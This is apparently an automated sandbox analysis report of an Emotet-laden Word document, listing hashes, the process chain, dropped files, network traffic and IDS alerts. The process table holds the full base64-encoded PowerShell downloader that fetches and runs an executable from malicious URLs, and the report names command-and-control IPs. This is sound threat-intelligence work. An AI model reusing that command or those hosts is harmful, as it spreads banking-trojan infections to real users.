File name: | 3457e195827ba2e8dc40436d8bc7c10a.zip |
Full analysis: | https://app.any.run/tasks/bd66e518-f809-46fc-a077-b42ec899a4c9 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | May 20, 2019, 16:14:58 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/zip |
File info: | Zip archive data, at least v2.0 to extract |
MD5: | 40B7588BC6686296E3418EFA0AB5A40F |
SHA1: | D734607AB193A8CC48F5782076BCD3A586A1556B |
SHA256: | 96E9250C6B0153F6DE8096CD972302E1779A5F6D2EB4C715A2177B873CDC2EF7 |
SSDEEP: | 1536:8uk4ArOW0jajRU4GKe5xPscHAP5IthgMOS8KjiSBZuLg4FMqjOaYRTb:8aUOSjRaKQxPscggOFS8fquLgSMqjOlf |
.zip | | | ZIP compressed archive (100) |
---|
ZipRequiredVersion: | 20 |
---|---|
ZipBitFlag: | 0x0009 |
ZipCompression: | Deflated |
ZipModifyDate: | 2019:05:20 15:04:15 |
ZipCRC: | 0x6d83ee99 |
ZipCompressedSize: | 88131 |
ZipUncompressedSize: | 138496 |
ZipFileName: | 3457e195827ba2e8dc40436d8bc7c10a |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
868 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\3457e195827ba2e8dc40436d8bc7c10a.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
4048 | "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\Desktop\3457e195827ba2e8dc40436d8bc7c10a | C:\Windows\system32\rundll32.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
4040 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\3457e195827ba2e8dc40436d8bc7c10a" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | rundll32.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2860 | powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABSADEAOABfADQAOAAxADAAPQAnAGIAMQAzAF8ANQAyADMAMwAnADsAJABCADEAOQA5ADYANgA2ADgAIAA9ACAAJwA3ADYANAAnADsAJABuADIANAAwADgAMgA3AD0AJwBOADYAMQAzADEANgA2ACcAOwAkAFcANwAwADMAMgA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCADEAOQA5ADYANgA2ADgAKwAnAC4AZQB4AGUAJwA7ACQARwAzADQAMAAyADUAPQAnAHAANAA1ADQAMwBfADYANQAnADsAJABZADkANwA1ADUAXwA0ADgAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AYABlAGAAVAAuAHcAZQBiAGMATABpAEUATgBUADsAJABQADcANwAxADMAMAA5AD0AJwBoAHQAdABwADoALwAvAHMAZQBvAGcAbwBvAGQALgBuAGUAdAAvAHcAcAAvAGIANABwAHgAcgBlADYAMwAwADQALwBAAGgAdAB0AHAAOgAvAC8AYQBnAHIAbwAtAG0AaQBsAGwAZQBuAGkAYQBsAC4AYwBvAG0ALwBzAGUAdAB1AHAAYwBvAG4AZgBpAGcAbwAvADAAcwB0ADkAMwA3ADYALwBAAGgAdAB0AHAAcwA6AC8ALwBwAHIAbwB5AGUAYwB0AG8AbgBvAHYAaQBlAG0AYgByAGUALgBjAG8AbQAvAFYAMgAuADAALgAwAC8ANwBvAHUAdgB1ADQANwAvAEAAaAB0AHQAcAA6AC8ALwByAG8AeQBhAGwAYQBtAGUAcgBpAGMAYQBuAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwBmAHcAbQBpAGgAZQAvADAANABxAGYANgB1AHkAMAAvAEAAaAB0AHQAcAA6AC8ALwBmAGEAcgBvAGQAZQBiAGEAYgBlAGwALgBjAG8AbQAvADQAeABoAHoAdgBkADcALwBuAGwAMQAyAC8AJwAuAFMAcABMAGkAVAAoACcAQAAnACkAOwAkAFEAMQA3ADcANgA3ADUANgA9ACcAegBfADAANwA4AF8AJwA7AGYAbwByAGUAYQBjAGgAKAAkAGoAMQA5ADMANgAyADUAIABpAG4AIAAkAFAANwA3ADEAMwAwADkAKQB7AHQAcgB5AHsAJABZADkANwA1ADUAXwA0ADgALgBEAG8AdwBOAGwATwBhAGQAZgBJAEwAZQAoACQAagAxADkAMwA2ADIANQAsACAAJABXADcAMAAzADIAOQApADsAJABKADAAXwBfADAAMAA0ADMAPQAnAHcANwA3ADAANgA3ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQAVwA3ADAAMwAyADkAKQAuAGwARQBuAEcAVABIACAALQBnAGUAIAAyADMANgA0ADMAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAgACQAVwA3ADAAMwAyADkAOwAkAGIAOAA4ADYAOAA1ADAAMAA9ACcAbwA3ADQANAA3ADMAOQAnADsAYgByAGUAYQBrADsAJABKADkANAAzADkAMwA2AD0AJwBHADUANAA1ADQAMwAyACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAMwA3ADEAXwA1ADkAPQAnAGoANABfADcAOQA3ADAAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3364 | "C:\Users\admin\764.exe" | C:\Users\admin\764.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
1108 | --195238b3 | C:\Users\admin\764.exe | 764.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3628 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 764.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2324 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM |
PID | Process | Filename | Type | |
---|---|---|---|---|
4040 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8B7A.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2860 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z78WA7VPFR9DVL7GVCON.temp | — | |
MD5:— | SHA256:— | |||
4040 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\48B0124C.wmf | wmf | |
MD5:8C257D2305A61716DDDA2B9285B21A06 | SHA256:B0547898DAC73E92C6750606DDD0DF00AE4AEDF46EF472DCA8B40E33148A90AF | |||
4040 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A1A735DD.wmf | wmf | |
MD5:5699FB5151899B482138A44DEDC66E0E | SHA256:3124A6A52880B5D6D8D5F8F73E3A058F252A2ABB9857238373AD1C41C21845B5 | |||
868 | WinRAR.exe | C:\Users\admin\Desktop\3457e195827ba2e8dc40436d8bc7c10a | document | |
MD5:3457E195827BA2E8DC40436D8BC7C10A | SHA256:57C73359315EF3E5F96915CC4C32774A2875C014F7BC9D8AA7AE2BEBED588AB0 | |||
4040 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\722F60F3.wmf | wmf | |
MD5:D25D72200DA14F4FE3651766EEE3301B | SHA256:CB0FD61603F0D4F707E060DD4C388996E89A0DE1646AA7664C17D4AD2EE05339 | |||
2860 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF139790.TMP | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 | |||
4040 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\3457e195827ba2e8dc40436d8bc7c10a.LNK | lnk | |
MD5:F527B178238780BE0C122A22618D7AF1 | SHA256:90B47B469DEC07C5D3CF9502984A8F82C3EC487095A5F69CE9581C109A68ABAD | |||
4040 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:C974B9DF4B72F5B30B1AF06A570C96EC | SHA256:0B040F7FCA84100D4ECB9112A75516DE36467DDAD2AA839B4F18191FA4FA97DF | |||
4040 | WINWORD.EXE | C:\Users\admin\Desktop\~$57e195827ba2e8dc40436d8bc7c10a | pgc | |
MD5:051C903DB18A0FDB6AF1D2FDAE96F983 | SHA256:7E7BA5B5C8124BA3D2AEA78CCBC77DA61AAF3BD995CD92212692FF7545668A82 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2324 | soundser.exe | POST | — | 80.0.106.83:80 | http://80.0.106.83/chunk/ | GB | — | — | malicious |
2324 | soundser.exe | POST | 200 | 81.143.213.156:7080 | http://81.143.213.156:7080/enabled/symbols/ringin/merge/ | GB | binary | 132 b | malicious |
2860 | powershell.exe | GET | 200 | 210.211.111.85:80 | http://seogood.net/wp/b4pxre6304/ | VN | executable | 74.0 Kb | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2860 | powershell.exe | 210.211.111.85:80 | seogood.net | CHT Compamy Ltd | VN | suspicious |
2324 | soundser.exe | 81.143.213.156:7080 | — | British Telecommunications PLC | GB | malicious |
2324 | soundser.exe | 80.0.106.83:80 | — | Virgin Media Limited | GB | malicious |
Domain | IP | Reputation |
---|---|---|
seogood.net |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
2324 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
2324 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |